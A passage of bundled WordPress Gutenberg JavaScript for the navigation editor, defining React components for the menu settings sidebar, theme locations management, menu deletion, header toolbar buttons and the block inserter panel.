translators: Data label for the Menu Settings Sidebar tab. , "data-label": (0,external_wp_i18n_namespaceObject.__)('Menu') }, // translators: Text label for the Menu Settings Sidebar tab. (0,external_wp_i18n_namespaceObject.__)('Menu'))), (0,external_wp_element_namespaceObject.createElement)("li", null, (0,external_wp_element_namespaceObject.createElement)(external_wp_components_namespaceObject.Button, { onClick: openBlockSettings, className: `edit-navigation-sidebar__panel-tab ${blockActiveClass}`, "aria-label": blockAriaLabel // translators: Data label for the Block Settings Sidebar tab. , "data-label": (0,external_wp_i18n_namespaceObject.__)('Block') }, // translators: Text label for the Block Settings Sidebar tab. (0,external_wp_i18n_namespaceObject.__)('Block')))); } ;// CONCATENATED MODULE: ./packages/edit-navigation/build-module/components/name-editor/index.js /** * WordPress dependencies */ /** * Internal dependencies */ function NameEditor() { const [isMenuNameEditFocused, setIsMenuNameEditFocused] = (0,external_wp_element_namespaceObject.useContext)(IsMenuNameControlFocusedContext); const [menuId] = useSelectedMenuId(); const [name, setName] = useMenuEntityProp('name', menuId); const inputRef = (0,external_wp_element_namespaceObject.useRef)(); (0,external_wp_element_namespaceObject.useEffect)(() => { if (isMenuNameEditFocused) inputRef.current.focus(); }, [isMenuNameEditFocused]); return (0,external_wp_element_namespaceObject.createElement)(external_wp_components_namespaceObject.TextControl, { ref: inputRef, help: (0,external_wp_i18n_namespaceObject.__)('A short, descriptive name used to refer to this menu elsewhere.'), label: (0,external_wp_i18n_namespaceObject.__)('Name'), onBlur: () => setIsMenuNameEditFocused(false), className: "edit-navigation-name-editor__text-control", value: (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(name || ''), onChange: setName }); } ;// CONCATENATED MODULE: ./packages/edit-navigation/build-module/components/sidebar/auto-add-pages.js /** * WordPress dependencies */ /** * Internal dependencies */ function AutoAddPages(_ref) { let { menuId } = _ref; const [autoAddPages, setAutoAddPages] = useMenuEntityProp('auto_add', menuId); return (0,external_wp_element_namespaceObject.createElement)(external_wp_components_namespaceObject.ToggleControl, { label: (0,external_wp_i18n_namespaceObject.__)('Add new pages'), help: (0,external_wp_i18n_namespaceObject.__)('Automatically add published top-level pages to this menu.'), checked: autoAddPages !== null && autoAddPages !== void 0 ? autoAddPages : false, onChange: setAutoAddPages }); } ;// CONCATENATED MODULE: ./packages/edit-navigation/build-module/components/sidebar/menu-settings.js /** * WordPress dependencies */ /** * Internal dependencies */ function MenuSettings(_ref) { let { menuId } = _ref; return (0,external_wp_element_namespaceObject.createElement)(external_wp_components_namespaceObject.PanelBody, { title: (0,external_wp_i18n_namespaceObject.__)('Menu settings') }, (0,external_wp_element_namespaceObject.createElement)(NameEditor, null), (0,external_wp_element_namespaceObject.createElement)(AutoAddPages, { menuId: menuId })); } ;// CONCATENATED MODULE: ./packages/edit-navigation/build-module/components/sidebar/manage-locations.js /** * WordPress dependencies */ /** * Internal dependencies */ function ManageLocations(_ref) { let { menus, selectedMenuId, onSelectMenu } = _ref; const { menuLocations, assignMenuToLocation, toggleMenuLocationAssignment } = useMenuLocations(); const [isModalOpen, setIsModalOpen] = (0,external_wp_element_namespaceObject.useState)(false); const openModal = () => setIsModalOpen(true); const closeModal = () => setIsModalOpen(false); const { createSuccessNotice, createErrorNotice } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store); const validateBatchResponse = batchResponse => { if (batchResponse.failed) { return false; } const errorResponses = batchResponse.responses.filter(response => { return 200 > response.status || 300 <= response.status; }); return 1 > errorResponses.length; }; const handleUpdateMenuLocations = async () => { const method = 'POST'; const batchRequests = menus.map(_ref2 => { let { id } = _ref2; const locations = menuLocations.filter(menuLocation => menuLocation.menu === id).map(menuLocation => menuLocation.name); return { path: `/wp/v2/menus/${id}`, body: { locations }, method }; }); const batchResponse = await external_wp_apiFetch_default()({ path: 'batch/v1', data: { validation: 'require-all-validate', requests: batchRequests }, method }); const isSuccess = validateBatchResponse(batchResponse); if (isSuccess) { createSuccessNotice((0,external_wp_i18n_namespaceObject.__)('Menu locations have been updated.'), { type: 'snackbar' }); closeModal(); return; } createErrorNotice((0,external_wp_i18n_namespaceObject.__)('An error occurred while trying to update menu locations.'), { type: 'snackbar' }); }; if (!menuLocations || !(menus !== null && menus !== void 0 && menus.length)) { return (0,external_wp_element_namespaceObject.createElement)(external_wp_components_namespaceObject.Spinner, null); } if (!menuLocations.length) { return (0,external_wp_element_namespaceObject.createElement)(external_wp_components_namespaceObject.PanelBody, { title: (0,external_wp_i18n_namespaceObject.__)('Theme locations') }, (0,external_wp_element_namespaceObject.createElement)("p", null, (0,external_wp_i18n_namespaceObject.__)('There are no available menu locations.'))); } const themeLocationCountTextMain = (0,external_wp_i18n_namespaceObject.sprintf)( // translators: Number of available theme locations. (0,external_wp_i18n_namespaceObject.__)('Your current theme provides %d different locations to place menu.'), menuLocations.length); const themeLocationCountTextModal = (0,external_wp_i18n_namespaceObject.sprintf)( // translators: Number of available theme locations. (0,external_wp_i18n_namespaceObject.__)('Your current theme supports %d different locations. Select which menu appears in each location.'), menuLocations.length); const menusWithSelection = menuLocations.map(_ref3 => { let { name, description, menu } = _ref3; const menuOnLocation = menus.filter(_ref4 => { let { id } = _ref4; return ![0, selectedMenuId].includes(id); }).find(_ref5 => { let { id } = _ref5; return id === menu; }); return (0,external_wp_element_namespaceObject.createElement)("li", { key: name, className: "edit-navigation-manage-locations__checklist-item" }, (0,external_wp_element_namespaceObject.createElement)(external_wp_components_namespaceObject.CheckboxControl, { className: "edit-navigation-manage-locations__menu-location-checkbox", checked: menu === selectedMenuId, onChange: () => toggleMenuLocationAssignment(name, selectedMenuId), label: description, help: menuOnLocation && (0,external_wp_i18n_namespaceObject.sprintf)( // translators: menu name. (0,external_wp_i18n_namespaceObject.__)('Currently using %s'), (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(menuOnLocation.name)) })); }); const menuLocationCard = menuLocations.map(menuLocation => (0,external_wp_element_namespaceObject.createElement)("div", { key: menuLocation.name, className: "edit-navigation-manage-locations__menu-entry" }, (0,external_wp_element_namespaceObject.createElement)(external_wp_components_namespaceObject.SelectControl, { key: menuLocation.name, className: "edit-navigation-manage-locations__select-menu", label: menuLocation.description, labelPosition: "top", value: (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(menuLocation.menu), options: [{ value: 0, label: (0,external_wp_i18n_namespaceObject.__)('Select a Menu'), key: 0 }, ...menus.map(_ref6 => { let { id, name } = _ref6; return { key: id, value: id, label: (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(name) }; })], onChange: menuId => { assignMenuToLocation(menuLocation.name, Number(menuId)); } }), (0,external_wp_element_namespaceObject.createElement)(external_wp_components_namespaceObject.Button, { variant: "secondary", style: { visibility: !!menuLocation.menu ? 'visible' : 'hidden' }, className: "edit-navigation-manage-locations__edit-button", onClick: () => (closeModal(), onSelectMenu(menuLocation.menu)) }, (0,external_wp_i18n_namespaceObject.__)('Edit')))); return (0,external_wp_element_namespaceObject.createElement)(external_wp_components_namespaceObject.PanelBody, { title: (0,external_wp_i18n_namespaceObject.__)('Theme locations') }, (0,external_wp_element_namespaceObject.createElement)("div", { className: "edit-navigation-manage-locations__theme-location-text-main" }, themeLocationCountTextMain), (0,external_wp_element_namespaceObject.createElement)("ul", { className: "edit-navigation-manage-locations__checklist" }, menusWithSelection), (0,external_wp_element_namespaceObject.createElement)(external_wp_components_namespaceObject.Button, { variant: "secondary", className: "edit-navigation-manage-locations__open-menu-locations-modal-button", "aria-expanded": isModalOpen, onClick: openModal }, (0,external_wp_i18n_namespaceObject.__)('Manage locations')), isModalOpen && (0,external_wp_element_namespaceObject.createElement)(external_wp_components_namespaceObject.Modal, { className: "edit-navigation-manage-locations__modal", title: (0,external_wp_i18n_namespaceObject.__)('Manage locations'), onRequestClose: closeModal }, (0,external_wp_element_namespaceObject.createElement)("div", { className: "edit-navigation-manage-locations__theme-location-text-modal" }, themeLocationCountTextModal), menuLocationCard, (0,external_wp_element_namespaceObject.createElement)(external_wp_components_namespaceObject.Button, { className: "edit-navigation-manage-locations__save-button", variant: "primary", onClick: handleUpdateMenuLocations }, (0,external_wp_i18n_namespaceObject.__)('Update')))); } ;// CONCATENATED MODULE: ./packages/edit-navigation/build-module/components/sidebar/delete-menu.js /** * WordPress dependencies */ function DeleteMenu(_ref) { let { onDeleteMenu, isMenuBeingDeleted } = _ref; const [showConfirmDialog, setShowConfirmDialog] = (0,external_wp_element_namespaceObject.useState)(false); const handleConfirm = () => { setShowConfirmDialog(false); onDeleteMenu(); }; return (0,external_wp_element_namespaceObject.createElement)(external_wp_components_namespaceObject.PanelBody, null, (0,external_wp_element_namespaceObject.createElement)(external_wp_element_namespaceObject.Fragment, null, (0,external_wp_element_namespaceObject.createElement)(external_wp_components_namespaceObject.Button, { className: "edit-navigation-inspector-additions__delete-menu-button", variant: "secondary", isDestructive: true, isBusy: isMenuBeingDeleted, onClick: () => { setShowConfirmDialog(true); } }, (0,external_wp_i18n_namespaceObject.__)('Delete menu')), (0,external_wp_element_namespaceObject.createElement)(external_wp_components_namespaceObject.__experimentalConfirmDialog, { isOpen: showConfirmDialog, onConfirm: handleConfirm, onCancel: () => setShowConfirmDialog(false) }, (0,external_wp_i18n_namespaceObject.__)('Are you sure you want to delete this navigation? This action cannot be undone.')))); } ;// CONCATENATED MODULE: ./packages/edit-navigation/build-module/components/sidebar/index.js /** * WordPress dependencies */ /** * Internal dependencies */ function Sidebar(_ref) { let { menuId, menus, isMenuBeingDeleted, onDeleteMenu, onSelectMenu } = _ref; const isLargeViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)('medium'); const { sidebar, hasBlockSelection, hasSidebarEnabled } = (0,external_wp_data_namespaceObject.useSelect)(select => { const _sidebar = select(store_store).getActiveComplementaryArea(SIDEBAR_SCOPE); const _hasSidebarEnabled = [SIDEBAR_MENU, SIDEBAR_BLOCK].includes(_sidebar); return { sidebar: _sidebar, hasBlockSelection: !!select(external_wp_blockEditor_namespaceObject.store).getBlockSelectionStart(), hasSidebarEnabled: _hasSidebarEnabled }; }, []); const { enableComplementaryArea } = (0,external_wp_data_namespaceObject.useDispatch)(store_store); (0,external_wp_element_namespaceObject.useEffect)(() => { if (!hasSidebarEnabled) { return; } if (hasBlockSelection) { enableComplementaryArea(SIDEBAR_SCOPE, SIDEBAR_BLOCK); } else { enableComplementaryArea(SIDEBAR_SCOPE, SIDEBAR_MENU); } }, [hasBlockSelection, hasSidebarEnabled]); let sidebarName = sidebar; if (!hasSidebarEnabled) { sidebarName = hasBlockSelection ? SIDEBAR_BLOCK : SIDEBAR_MENU; } return (0,external_wp_element_namespaceObject.createElement)(complementary_area, { className: "edit-navigation-sidebar" /* translators: button label text should, if possible, be under 16 characters. */ , title: (0,external_wp_i18n_namespaceObject.__)('Settings'), closeLabel: (0,external_wp_i18n_namespaceObject.__)('Close settings'), scope: SIDEBAR_SCOPE, identifier: sidebarName, icon: library_cog, isActiveByDefault: isLargeViewport, header: (0,external_wp_element_namespaceObject.createElement)(SidebarHeader, { sidebarName: sidebarName }), headerClassName: "edit-navigation-sidebar__panel-tabs", isPinnable: true }, sidebarName === SIDEBAR_MENU && (0,external_wp_element_namespaceObject.createElement)(external_wp_element_namespaceObject.Fragment, null, (0,external_wp_element_namespaceObject.createElement)(MenuSettings, { menuId: menuId }), (0,external_wp_element_namespaceObject.createElement)(ManageLocations, { menus: menus, selectedMenuId: menuId, onSelectMenu: onSelectMenu }), (0,external_wp_element_namespaceObject.createElement)(DeleteMenu, { onDeleteMenu: onDeleteMenu, isMenuBeingDeleted: isMenuBeingDeleted })), sidebarName === SIDEBAR_BLOCK && (0,external_wp_element_namespaceObject.createElement)(external_wp_blockEditor_namespaceObject.BlockInspector, null)); } ;// CONCATENATED MODULE: ./packages/edit-navigation/build-module/components/header/menu-actions.js /** * WordPress dependencies */ /** * Internal dependencies */ function MenuActions(_ref) { let { menus, isLoading } = _ref; const [selectedMenuId, setSelectedMenuId] = useSelectedMenuId(); const [menuName] = useMenuEntityProp('name', selectedMenuId); // Use internal state instead of a ref to make sure that the component // re-renders when the popover's anchor updates. const [popoverAnchor, setPopoverAnchor] = (0,external_wp_element_namespaceObject.useState)(null); // Memoize popoverProps to avoid returning a new object every time. const popoverProps = (0,external_wp_element_namespaceObject.useMemo)(() => ({ className: 'edit-navigation-menu-actions__switcher-dropdown', position: 'bottom center', // Use the title ref as the popover's anchor so that the dropdown is // centered over the whole title area rather than just on part of it. anchor: popoverAnchor }), [popoverAnchor]); if (isLoading) { return (0,external_wp_element_namespaceObject.createElement)("div", { className: "edit-navigation-menu-actions" }, (0,external_wp_i18n_namespaceObject.__)('Loading…')); } return (0,external_wp_element_namespaceObject.createElement)("div", { className: "edit-navigation-menu-actions" }, (0,external_wp_element_namespaceObject.createElement)("div", { ref: setPopoverAnchor, className: "edit-navigation-menu-actions__subtitle-wrapper" }, (0,external_wp_element_namespaceObject.createElement)(external_wp_components_namespaceObject.__experimentalText, { size: "body", className: "edit-navigation-menu-actions__subtitle", as: "h2", limit: 24, ellipsizeMode: "tail", truncate: true }, (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(menuName)), (0,external_wp_element_namespaceObject.createElement)(external_wp_components_namespaceObject.DropdownMenu, { icon: chevron_down, toggleProps: { label: (0,external_wp_i18n_namespaceObject.__)('Switch menu'), className: 'edit-navigation-menu-actions__switcher-toggle', showTooltip: false, __experimentalIsFocusable: true }, popoverProps: popoverProps }, _ref2 => { let { onClose } = _ref2; return (0,external_wp_element_namespaceObject.createElement)(MenuSwitcher, { menus: menus, selectedMenuId: selectedMenuId, onSelectMenu: menuId => { setSelectedMenuId(menuId); onClose(); } }); }))); } ;// CONCATENATED MODULE: ./packages/edit-navigation/build-module/components/header/new-button.js /** * WordPress dependencies */ /** * Internal dependencies */ function NewButton() { const [isModalOpen, setIsModalOpen] = (0,external_wp_element_namespaceObject.useState)(false); const [, setSelectedMenuId] = useSelectedMenuId(); return (0,external_wp_element_namespaceObject.createElement)(external_wp_element_namespaceObject.Fragment, null, (0,external_wp_element_namespaceObject.createElement)(external_wp_components_namespaceObject.Button, { variant: "tertiary", onClick: () => setIsModalOpen(true) }, (0,external_wp_i18n_namespaceObject.__)('New menu')), isModalOpen && (0,external_wp_element_namespaceObject.createElement)(external_wp_components_namespaceObject.Modal, { title: (0,external_wp_i18n_namespaceObject.__)('Create a new menu'), className: "edit-navigation-menu-switcher__modal", onRequestClose: () => setIsModalOpen(false) }, (0,external_wp_element_namespaceObject.createElement)(add_menu, { helpText: (0,external_wp_i18n_namespaceObject.__)('A short descriptive name for your menu.'), onCreate: menuId => { setIsModalOpen(false); setSelectedMenuId(menuId); } }))); } ;// CONCATENATED MODULE: ./packages/edit-navigation/build-module/components/header/save-button.js /** * WordPress dependencies */ /** * Internal dependencies */ function SaveButton(_ref) { let { navigationPost } = _ref; const { isDirty } = (0,external_wp_data_namespaceObject.useSelect)(select => { const { __experimentalGetDirtyEntityRecords } = select(external_wp_coreData_namespaceObject.store); const dirtyEntityRecords = __experimentalGetDirtyEntityRecords(); return { isDirty: dirtyEntityRecords.length > 0 }; }, []); const { saveNavigationPost } = (0,external_wp_data_namespaceObject.useDispatch)(store); const disabled = !isDirty || !navigationPost; return (0,external_wp_element_namespaceObject.createElement)(external_wp_components_namespaceObject.Button, { className: "edit-navigation-toolbar__save-button", variant: "primary", onClick: () => { saveNavigationPost(navigationPost); }, disabled: disabled }, (0,external_wp_i18n_namespaceObject.__)('Save')); } ;// CONCATENATED MODULE: ./packages/icons/build-module/library/undo.js /** * WordPress dependencies */ const undo = (0,external_wp_element_namespaceObject.createElement)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24" }, (0,external_wp_element_namespaceObject.createElement)(external_wp_primitives_namespaceObject.Path, { d: "M18.3 11.7c-.6-.6-1.4-.9-2.3-.9H6.7l2.9-3.3-1.1-1-4.5 5L8.5 16l1-1-2.7-2.7H16c.5 0 .9.2 1.3.5 1 1 1 3.4 1 4.5v.3h1.5v-.2c0-1.5 0-4.3-1.5-5.7z" })); /* harmony default export */ const library_undo = (undo); ;// CONCATENATED MODULE: ./packages/icons/build-module/library/redo.js /** * WordPress dependencies */ const redo = (0,external_wp_element_namespaceObject.createElement)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24" }, (0,external_wp_element_namespaceObject.createElement)(external_wp_primitives_namespaceObject.Path, { d: "M15.6 6.5l-1.1 1 2.9 3.3H8c-.9 0-1.7.3-2.3.9-1.4 1.5-1.4 4.2-1.4 5.6v.2h1.5v-.3c0-1.1 0-3.5 1-4.5.3-.3.7-.5 1.3-.5h9.2L14.5 15l1.1 1.1 4.6-4.6-4.6-5z" })); /* harmony default export */ const library_redo = (redo); ;// CONCATENATED MODULE: external ["wp","keycodes"] const external_wp_keycodes_namespaceObject = window["wp"]["keycodes"]; ;// CONCATENATED MODULE: ./packages/edit-navigation/build-module/components/header/undo-button.js /** * WordPress dependencies */ function UndoButton() { const hasUndo = (0,external_wp_data_namespaceObject.useSelect)(select => select(external_wp_coreData_namespaceObject.store).hasUndo(), []); const { undo } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store); return (0,external_wp_element_namespaceObject.createElement)(external_wp_components_namespaceObject.ToolbarButton, { icon: !(0,external_wp_i18n_namespaceObject.isRTL)() ? library_undo : library_redo, label: (0,external_wp_i18n_namespaceObject.__)('Undo'), shortcut: external_wp_keycodes_namespaceObject.displayShortcut.primary('z') // If there are no undo levels we don't want to actually disable this // button, because it will remove focus for keyboard users. // See: https://github.com/WordPress/gutenberg/issues/3486 , "aria-disabled": !hasUndo, onClick: hasUndo ? undo : undefined }); } ;// CONCATENATED MODULE: ./packages/edit-navigation/build-module/components/header/redo-button.js /** * WordPress dependencies */ function RedoButton() { const shortcut = (0,external_wp_keycodes_namespaceObject.isAppleOS)() ? external_wp_keycodes_namespaceObject.displayShortcut.primaryShift('z') : external_wp_keycodes_namespaceObject.displayShortcut.primary('y'); const hasRedo = (0,external_wp_data_namespaceObject.useSelect)(select => select(external_wp_coreData_namespaceObject.store).hasRedo(), []); const { redo } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store); return (0,external_wp_element_namespaceObject.createElement)(external_wp_components_namespaceObject.ToolbarButton, { icon: !(0,external_wp_i18n_namespaceObject.isRTL)() ? library_redo : library_undo, label: (0,external_wp_i18n_namespaceObject.__)('Redo'), shortcut: shortcut // If there are no undo levels we don't want to actually disable this // button, because it will remove focus for keyboard users. // See: https://github.com/WordPress/gutenberg/issues/3486 , "aria-disabled": !hasRedo, onClick: hasRedo ? redo : undefined }); } ;// CONCATENATED MODULE: ./packages/icons/build-module/library/plus.js /** * WordPress dependencies */ const plus = (0,external_wp_element_namespaceObject.createElement)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24" }, (0,external_wp_element_namespaceObject.createElement)(external_wp_primitives_namespaceObject.Path, { d: "M18 11.2h-5.2V6h-1.6v5.2H6v1.6h5.2V18h1.6v-5.2H18z" })); /* harmony default export */ const library_plus = (plus); ;// CONCATENATED MODULE: ./packages/edit-navigation/build-module/components/header/inserter-toggle.js /** * WordPress dependencies */ /** * Internal dependencies */ function InserterToggle() { const { navBlockClientId } = use_navigation_editor_root_block(); const { isInserterOpened, hasInserterItems } = (0,external_wp_data_namespaceObject.useSelect)(select => { return { hasInserterItems: select(external_wp_blockEditor_namespaceObject.store).hasInserterItems(navBlockClientId), isInserterOpened: select(store).isInserterOpened() }; }, [navBlockClientId]); const { setIsInserterOpened } = (0,external_wp_data_namespaceObject.useDispatch)(store); return (0,external_wp_element_namespaceObject.createElement)(external_wp_components_namespaceObject.ToolbarItem, { as: external_wp_components_namespaceObject.Button, className: "edit-navigation-header-inserter-toggle", variant: "primary", isPressed: isInserterOpened, onMouseDown: event => { event.preventDefault(); }, onClick: () => setIsInserterOpened(!isInserterOpened), icon: library_plus /* translators: button label text should, if possible, be under 16 characters. */ , label: (0,external_wp_i18n_namespaceObject._x)('Toggle block inserter', 'Generic label for block inserter button'), disabled: !hasInserterItems }); } /* harmony default export */ const inserter_toggle = (InserterToggle); ;// CONCATENATED MODULE: ./packages/icons/build-module/library/external.js /** * WordPress dependencies */ const external = (0,external_wp_element_namespaceObject.createElement)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24" }, (0,external_wp_element_namespaceObject.createElement)(external_wp_primitives_namespaceObject.Path, { d: "M18.2 17c0 .7-.6 1.2-1.2 1.2H7c-.7 0-1.2-.6-1.2-1.2V7c0-.7.6-1.2 1.2-1.2h3.2V4.2H7C5.5 4.2 4.2 5.5 4.2 7v10c0 1.5 1.2 2.8 2.8 2.8h10c1.5 0 2.8-1.2 2.8-2.8v-3.6h-1.5V17zM14.9 3v1.5h3.7l-6.4 6.4 1.1 1.1 6.4-6.4v3.7h1.5V3h-6.3z" })); /* harmony default export */ const library_external = (external); ;// CONCATENATED MODULE: ./packages/edit-navigation/build-module/components/header/tools-more-menu-group.js /** * WordPress dependencies */ const { Fill: ToolsMoreMenuGroup, Slot } = (0,external_wp_components_namespaceObject.createSlotFill)('EditNavigationToolsMoreMenuGroup'); ToolsMoreMenuGroup.Slot = _ref => { let { fillProps } = _ref; return (0,external_wp_element_namespaceObject.createElement)(Slot, { fillProps: fillProps }, fills => fills); }; /* harmony default export */ const tools_more_menu_group = (ToolsMoreMenuGroup); ;// CONCATENATED MODULE: ./packages/edit-navigation/build-module/components/header/more-menu.js /** * WordPress dependencies */ /** * Internal dependencies */ function MoreMenu() { return (0,external_wp_element_namespaceObject.createElement)(MoreMenuDropdown, null, onClose => (0,external_wp_element_namespaceObject.createElement)(external_wp_components_namespaceObject.MenuGroup, { label: (0,external_wp_i18n_namespaceObject.__)('Tools') }, (0,external_wp_element_namespaceObject.createElement)(external_wp_components_namespaceObject.MenuItem, { role: "menuitem", icon: library_external, href: "https://github.com/WordPress/gutenberg/tree/trunk/packages/edit-navigation/docs/user-documentation.md", target: "_blank", rel: "noopener noreferrer" }, (0,external_wp_i18n_namespaceObject.__)('Help'), (0,external_wp_element_namespaceObject.createElement)(external_wp_components_namespaceObject.VisuallyHidden, { as: "span" }, /* translators: accessibility text */ (0,external_wp_i18n_namespaceObject.__)('(opens in a new tab)'))), (0,external_wp_element_namespaceObject.createElement)(tools_more_menu_group.Slot, { fillProps: { onClose } }))); } ;// CONCATENATED MODULE: ./packages/edit-navigation/build-module/components/header/index.js /** * WordPress dependencies */ /** * Internal dependencies */ function Header(_ref) { let { isMenuSelected, menus, isPending, navigationPost } = _ref; const isMediumViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)('medium'); if (!isMenuSelected) { return (0,external_wp_element_namespaceObject.createElement)("div", { className: "edit-navigation-header" }, (0,external_wp_element_namespaceObject.createElement)("div", { className: "edit-navigation-header__toolbar-wrapper" }, (0,external_wp_element_namespaceObject.createElement)("h1", { className: "edit-navigation-header__title" }, (0,external_wp_i18n_namespaceObject.__)('Navigation')))); } return (0,external_wp_element_namespaceObject.createElement)("div", { className: "edit-navigation-header" }, (0,external_wp_element_namespaceObject.createElement)("div", { className: "edit-navigation-header__toolbar-wrapper" }, isMediumViewport && (0,external_wp_element_namespaceObject.createElement)("h1", { className: "edit-navigation-header__title" }, (0,external_wp_i18n_namespaceObject.__)('Navigation')), (0,external_wp_element_namespaceObject.createElement)(external_wp_blockEditor_namespaceObject.NavigableToolbar, { className: "edit-navigation-header__toolbar", "aria-label": (0,external_wp_i18n_namespaceObject.__)('Document tools') }, (0,external_wp_element_namespaceObject.createElement)(inserter_toggle, null), isMediumViewport && (0,external_wp_element_namespaceObject.createElement)(external_wp_element_namespaceObject.Fragment, null, (0,external_wp_element_namespaceObject.createElement)(UndoButton, null), (0,external_wp_element_namespaceObject.createElement)(RedoButton, null)))), (0,external_wp_element_namespaceObject.createElement)(MenuActions, { menus: menus, isLoading: isPending }), (0,external_wp_element_namespaceObject.createElement)("div", { className: "edit-navigation-header__actions" }, isMediumViewport && (0,external_wp_element_namespaceObject.createElement)(NewButton, null), (0,external_wp_element_namespaceObject.createElement)(SaveButton, { navigationPost: navigationPost }), (0,external_wp_element_namespaceObject.createElement)(pinned_items.Slot, { scope: "core/edit-navigation" }), (0,external_wp_element_namespaceObject.createElement)(MoreMenu, null))); } ;// CONCATENATED MODULE: ./packages/edit-navigation/build-module/components/notices/index.js /** * External dependencies */ /** * WordPress dependencies */ function EditNavigationNotices() { const { removeNotice } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store); const notices = (0,external_wp_data_namespaceObject.useSelect)(select => select(external_wp_notices_namespaceObject.store).getNotices(), []); const dismissibleNotices = (0,external_lodash_namespaceObject.filter)(notices, { isDismissible: true, type: 'default' }); const nonDismissibleNotices = (0,external_lodash_namespaceObject.filter)(notices, { isDismissible: false, type: 'default' }); const snackbarNotices = (0,external_lodash_namespaceObject.filter)(notices, { type: 'snackbar' }); return (0,external_wp_element_namespaceObject.createElement)(external_wp_element_namespaceObject.Fragment, null, (0,external_wp_element_namespaceObject.createElement)(external_wp_components_namespaceObject.NoticeList, { notices: nonDismissibleNotices, className: "edit-navigation-notices__notice-list" }), (0,external_wp_element_namespaceObject.createElement)(external_wp_components_namespaceObject.NoticeList, { notices: dismissibleNotices, className: "edit-navigation-notices__notice-list", onRemove: removeNotice }), (0,external_wp_element_namespaceObject.createElement)(external_wp_components_namespaceObject.SnackbarList, { notices: snackbarNotices, className: "edit-navigation-notices__snackbar-list", onRemove: removeNotice })); } ;// CONCATENATED MODULE: ./packages/edit-navigation/build-module/components/editor/index.js /** * WordPress dependencies */ function Editor(_ref) { let { isPending } = _ref; return (0,external_wp_element_namespaceObject.createElement)("div", { className: "edit-navigation-editor" }, isPending ? (0,external_wp_element_namespaceObject.createElement)(external_wp_components_namespaceObject.Spinner, null) : (0,external_wp_element_namespaceObject.createElement)("div", { className: "editor-styles-wrapper" }, (0,external_wp_element_namespaceObject.createElement)(external_wp_blockEditor_namespaceObject.WritingFlow, null, (0,external_wp_element_namespaceObject.createElement)(external_wp_blockEditor_namespaceObject.ObserveTyping, null, (0,external_wp_element_namespaceObject.createElement)(external_wp_blockEditor_namespaceObject.BlockList, null))))); } ;// CONCATENATED MODULE: ./packages/icons/build-module/library/close.js /** * WordPress dependencies */ const close_close = (0,external_wp_element_namespaceObject.createElement)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24" }, (0,external_wp_element_namespaceObject.createElement)(external_wp_primitives_namespaceObject.Path, { d: "M13 11.8l6.1-6.3-1-1-6.1 6.2-6.1-6.2-1 1 6.1 6.3-6.5 6.7 1 1 6.5-6.6 6.5 6.6 1-1z" })); /* harmony default export */ const library_close = (close_close); ;// CONCATENATED MODULE: ./packages/edit-navigation/build-module/components/inserter-sidebar/index.js /** * WordPress dependencies */ /** * Internal dependencies */ const SHOW_PREVIEWS = false; function InserterSidebar() { const isMobileViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)('medium', '<'); const { navBlockClientId, lastNavBlockItemIndex } = use_navigation_editor_root_block(); const { hasInserterItems, selectedBlockClientId } = (0,external_wp_data_namespaceObject.useSelect)(select => { var _select$getSelectedBl; return { hasInserterItems: select(external_wp_blockEditor_namespaceObject.store).hasInserterItems(navBlockClientId), selectedBlockClientId: (_select$getSelectedBl = select(external_wp_blockEditor_namespaceObject.store).getSelectedBlock()) === null || _select$getSelectedBl === void 0 ? void 0 : _select$getSelectedBl.clientId }; }, [navBlockClientId]); const { setIsInserterOpened } = (0,external_wp_data_namespaceObject.useDispatch)(store); const [inserterDialogRef, inserterDialogProps] = (0,external_wp_compose_namespaceObject.__experimentalUseDialog)({ onClose: () => setIsInserterOpened(false) }); // Only concerned with whether there are items to display. If not then // we shouldn't render. if (!hasInserterItems) { return null; } const shouldInsertInNavBlock = !selectedBlockClientId || navBlockClientId === selectedBlockClientId; return (0,external_wp_element_namespaceObject.createElement)("div", _extends({ ref: inserterDialogRef }, inserterDialogProps, { className: "edit-navigation-layout__inserter-panel" }), (0,external_wp_element_namespaceObject.createElement)("div", { className: "edit-navigation-layout__inserter-panel-header" }, (0,external_wp_element_namespaceObject.createElement)(external_wp_components_namespaceObject.Button, { icon: library_close, onClick: () => setIsInserterOpened(false) })), (0,external_wp_element_namespaceObject.createElement)("div", { className: "edit-navigation-layout__inserter-panel-content" }, (0,external_wp_element_namespaceObject.createElement)(external_wp_blockEditor_namespaceObject.__experimentalLibrary // If the root Nav block is selected then any items inserted by the // global inserter should append after the last nav item. Otherwise // simply allow default Gutenberg behaviour. , { rootClientId: shouldInsertInNavBlock ? navBlockClientId : undefined // If set, insertion will be into the block with this ID. , __experimentalInsertionIndex: // If set, insertion will be into this explicit position. shouldInsertInNavBlock ? lastNavBlockItemIndex : undefined, shouldFocusBlock: isMobileViewport, showInserterHelpPanel: SHOW_PREVIEWS }))); } /* harmony default export */ const inserter_sidebar = (InserterSidebar); ;// CONCATENATED MODULE: ./packages/edit-navigation/build-module/components/layout/unsaved-changes-warning.js /** * WordPress dependencies */ /** * Warns the user if there are unsaved changes before leaving the editor. * * This is a duplicate of the component implemented in the editor package. * Duplicated here as edit-navigation doesn't depend on editor. * * @return {WPComponent} The component. */ function UnsavedChangesWarning() { const isDirty = (0,external_wp_data_namespaceObject.useSelect)(select => { const { __experimentalGetDirtyEntityRecords } = select(external_wp_coreData_namespaceObject.store); const dirtyEntityRecords = __experimentalGetDirtyEntityRecords(); return 